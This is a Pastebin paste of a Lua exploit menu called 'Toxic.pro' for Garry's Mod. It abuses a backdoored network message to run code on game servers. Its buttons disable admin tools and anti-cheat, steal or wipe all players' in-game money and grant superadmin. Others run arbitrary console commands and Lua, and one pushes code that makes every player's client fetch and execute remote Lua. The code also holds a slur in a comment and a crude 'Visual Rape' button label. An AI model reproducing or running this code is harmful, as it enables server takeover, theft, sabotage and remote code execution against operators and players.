Advertisement
BazZziliuS

Toxic.pro

Jul 21st, 2018
754
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.31 KB | None | 0 0
  1. /*
  2.    
  3.     Toxic.pro
  4.    
  5.     Start Date: December 27th, 2017.
  6.    
  7.     First revision finished December 28th, 2017 @ 3:28AM.
  8.    
  9. */
  10.  
  11. local toxic = {}
  12.  
  13. toxic.Net = "fix" -- backdoored net message
  14.  
  15. /*
  16.    
  17.     Backend functions
  18.    
  19. */
  20.  
  21. function toxic.PostLua( str )
  22.  
  23.     net.Start( toxic.Net )
  24.    
  25.         net.WriteString( str )
  26.        
  27.     net.SendToServer()
  28.  
  29. end
  30.  
  31. function toxic.Notify( msg )
  32.  
  33.     chat.AddText( Color( 255, 0, 0 ), "[Toxic.pro] ", color_white, msg )
  34.  
  35. end
  36.  
  37. /*
  38.    
  39.     Backdoor functions
  40.    
  41. */
  42.  
  43. function toxic.DumpsterULX()
  44.  
  45.     toxic.PostLua( [[ _G.ulx = function() end _G.ULib = function() end ]])
  46.  
  47.     toxic.Notify( "Broke ULX, admins now have no control." )
  48.    
  49. end
  50.  
  51. function toxic.SorryCake()
  52.  
  53.     toxic.PostLua( [[ _G.cac = function() end]] )
  54.    
  55.     toxic.Notify( "Attempted to disable !cake's anti-cheat, probably failed." )
  56.  
  57. end
  58.  
  59. function toxic.TakeMoney()
  60.  
  61.     toxic.PostLua( [[
  62.    
  63.         local id = ]] .. LocalPlayer():UserID() .. [[
  64.  
  65.         for k, v in next, player.GetAll() do
  66.            
  67.             if v:Nick() == "]] .. LocalPlayer():Nick() .. [[" then
  68.            
  69.                 continue
  70.            
  71.             end
  72.            
  73.             local bal = v:getDarkRPVar( "money" ) or 9999999
  74.            
  75.             v:addMoney( -bal )
  76.            
  77.             Player( id ):addMoney( bal )
  78.            
  79.             Player( id ):ChatPrint( "[Toxic.pro] Stole $" .. string.Comma( bal ) .. " from " .. v:Nick() )
  80.            
  81.         end
  82.    
  83.     ]] )
  84.  
  85. end
  86.  
  87. function toxic.Rape()
  88.  
  89.     -- I don't like this.
  90.     toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://riverrp.xyz/earbutt.mp3', 'mono', function( s ) s:Play() end )]] ) end" )
  91.    
  92.     -- I don't like any of this.
  93.     toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[http.Fetch( '  ', function( body ) RunString( body ) end )]] ) end" )
  94.    
  95. end
  96.  
  97. /*
  98.    
  99.     user interface
  100.    
  101. */
  102.  
  103. function toxic.AddButton( name, parent, func )
  104.  
  105.     local button = parent:Add( "DButton" )
  106.     button:SetText( "" )
  107.     button:Dock( TOP )
  108.     button:DockMargin( 0, 0, 0, 5 )
  109.     button:SetSize( 100, 25 )
  110.     button.DoClick = func
  111.    
  112.     button.Paint = function( self )
  113.    
  114.         draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 0, 0, 0, 200 ) )
  115.        
  116.         draw.SimpleText( name, "DebugFixed", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1 )
  117.    
  118.     end
  119.  
  120.     toxic.ButtonPos = toxic.ButtonPos + 30
  121.    
  122. end
  123.  
  124. // use DSCrollPanel faggot
  125.  
  126. function toxic.UI()
  127.    
  128.     toxic.ButtonPos = 30
  129.    
  130.     local frame = vgui.Create( "DFrame" )
  131.     frame:SetTitle( "Toxic.pro" )
  132.     frame:SetSize( 400, 250 )
  133.     frame:Center()
  134.     frame:MakePopup()
  135.     frame:ShowCloseButton( false )
  136.    
  137.     frame.Paint = function( self )
  138.        
  139.         draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 140, 0, 0, 150 ) )
  140.        
  141.         draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) )
  142.        
  143.     end
  144.    
  145.     local close = vgui.Create( "DButton", frame )
  146.     close:SetSize( 50, 20 )
  147.     close:SetPos( frame:GetWide() - 50, 0 )
  148.     close:SetText( "x" )
  149.     close:SetTextColor( Color( 255, 255, 255 ) )
  150.     close:SetFont( "DebugFixed" )
  151.    
  152.     close.Paint = function()
  153.    
  154.         draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) )
  155.    
  156.     end
  157.    
  158.     close.DoClick = function()
  159.        
  160.         frame:Close()
  161.        
  162.     end
  163.    
  164.     local panel = vgui.Create( "DScrollPanel", frame )
  165.     panel:SetPos( 5, 30 )
  166.     panel:SetSize( 150, frame:GetTall() - 35 )
  167.    
  168.     local html = vgui.Create( "HTML", frame )
  169.     html:SetPos( panel:GetWide() + 20, 30 )
  170.     html:SetSize( 240, 215 )
  171.     html:SetHTML( [[
  172.         <img src="http://www.clker.com/cliparts/c/e/8/f/12387015421849960016GameFreak7744_Biohazard_symbol.svg.med.png" alt="Img" style="width:200px;height:195px;">
  173.     ]] )
  174.    
  175.     toxic.AddButton( "Break ULX", panel, toxic.DumpsterULX )
  176.     toxic.AddButton( "Disable !cake", panel, toxic.SorryCake )
  177.     toxic.AddButton( "Steal Money", panel, toxic.TakeMoney )
  178.     toxic.AddButton( "Wipe All Money", panel, function()
  179.    
  180.         toxic.PostLua( [[RunConsoleCommand( "rp_resetallmoney" )]] )
  181.  
  182.         toxic.Notify( "Wiped DarkRP money database" )
  183.        
  184.     end )
  185.    
  186.     toxic.AddButton( "Visual Rape", panel, toxic.Rape )
  187.    
  188.     toxic.AddButton( "Earthquake", panel, function()
  189.  
  190.         toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" )
  191.        
  192.         toxic.Notify( "Earthquake started." )
  193.        
  194.     end )
  195.    
  196.     toxic.AddButton( "Spam .txt", panel, function()
  197.        
  198.         Derma_StringRequest( ".txt file contents", "What would you like to put in the .txt?", "", function( text )
  199.            
  200.             toxic.PostLua( [[
  201.        
  202.                 for i = 1, 100 do
  203.            
  204.                     file.Write( "toxic.pro_" .. math.random( 1, 999999 ) .. ".txt", "]] .. text .. [[" )
  205.            
  206.                 end
  207.            
  208.             ]] )
  209.    
  210.             toxic.Notify( "Spamming 100 .txt files containing '" .. text .. "'" )
  211.    
  212.         end )
  213.        
  214.     end )
  215.    
  216.     toxic.AddButton( "Spam Chat", panel, function()
  217.        
  218.         Derma_StringRequest( "Message", "Chat Message", "", function( text )
  219.            
  220.             toxic.PostLua( [[
  221.                
  222.                 util.AddNetworkString("chat_AddText")
  223.                 chat = {}
  224.                 function chat.AddText(...)
  225.                     net.Start("chat_AddText")
  226.                         net.WriteTable({...})
  227.                     net.Broadcast()
  228.                 end
  229.                 function AddTextPly( ply, ...)
  230.                     net.Start("chat_AddText")
  231.                         net.WriteTable({...})
  232.                     net.Send( ply )
  233.                 end
  234.                
  235.                 for k, v in pairs( player.GetAll() ) do
  236.                
  237.                     v:SendLua( 'net.Receive("chat_AddText", function(len) chat.AddText( unpack( net.ReadTable() ) )end)' )
  238.                
  239.                 end
  240.                
  241.                 timer.Create( "gotEm", 1, 120, function()
  242.                
  243.                     local function ChatPrintRainbow( frequency, str )
  244.  
  245.                         local text = {}
  246.  
  247.  
  248.                         for i = 1, #str do
  249.                             table.insert( text, HSVToColor( i * frequency % 360, 1, 1 ) )
  250.                         table.insert( text, string.sub( str, i, i ) )
  251.                         end
  252.  
  253.                         chat.AddText( unpack( text ) )
  254.  
  255.                     end
  256.                    
  257.                     ChatPrintRainbow( 10, "]] .. text .. [[" )
  258.                
  259.                 end )
  260.  
  261.            
  262.             ]] )
  263.  
  264.         end )
  265.        
  266.     end )
  267.    
  268.     toxic.AddButton( "Give Superadmin", panel, function()
  269.        
  270.         toxic.PostLua( [[
  271.        
  272.             local id = ]] .. LocalPlayer():UserID() .. [[
  273.            
  274.             RunConsoleCommand( 'ulx', 'adduser', tostring( Player( id ):Nick() ), 'superadmin' )
  275.            
  276.             Player( id ):SetUserGroup( "superadmin" )
  277.        
  278.         ]] )
  279.        
  280.         toxic.Notify( "Attempted to force superadmin." )
  281.    
  282.     end )
  283.    
  284.     toxic.AddButton( "RCON", panel, function()
  285.    
  286.         Derma_StringRequest( "Toxic.pro RCON", "Command", "", function( text )
  287.            
  288.             toxic.PostLua( [[game.ConsoleCommand( "]] .. tostring( text ) .. [[" .. "\n" )]] )
  289.            
  290.             toxic.Notify( "Ran command '" .. text .. "'" )
  291.            
  292.         end )
  293.    
  294.     end )
  295.    
  296.     toxic.AddButton( "Lua Run", panel, function()
  297.    
  298.         Derma_StringRequest( "Toxic.pro Lua Run", "Command", "", function( text )
  299.            
  300.             toxic.PostLua( [[RunString( ']] .. text .. [[' )]] )
  301.            
  302.             toxic.Notify( "Ran Lua '" .. text .. "'" )
  303.            
  304.         end )
  305.    
  306.     end )
  307.    
  308.     toxic.AddButton( "Rename Server", panel, function()
  309.    
  310.         toxic.PostLua( [[RunConsoleCommand( "hostname", "TOXIC.PRO" )]] )
  311.        
  312.         toxic.Notify( "Renamed server to TOXIC.PRO" )
  313.    
  314.     end )
  315.    
  316. end
  317.  
  318. concommand.Add( "toxic.pro", toxic.UI )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement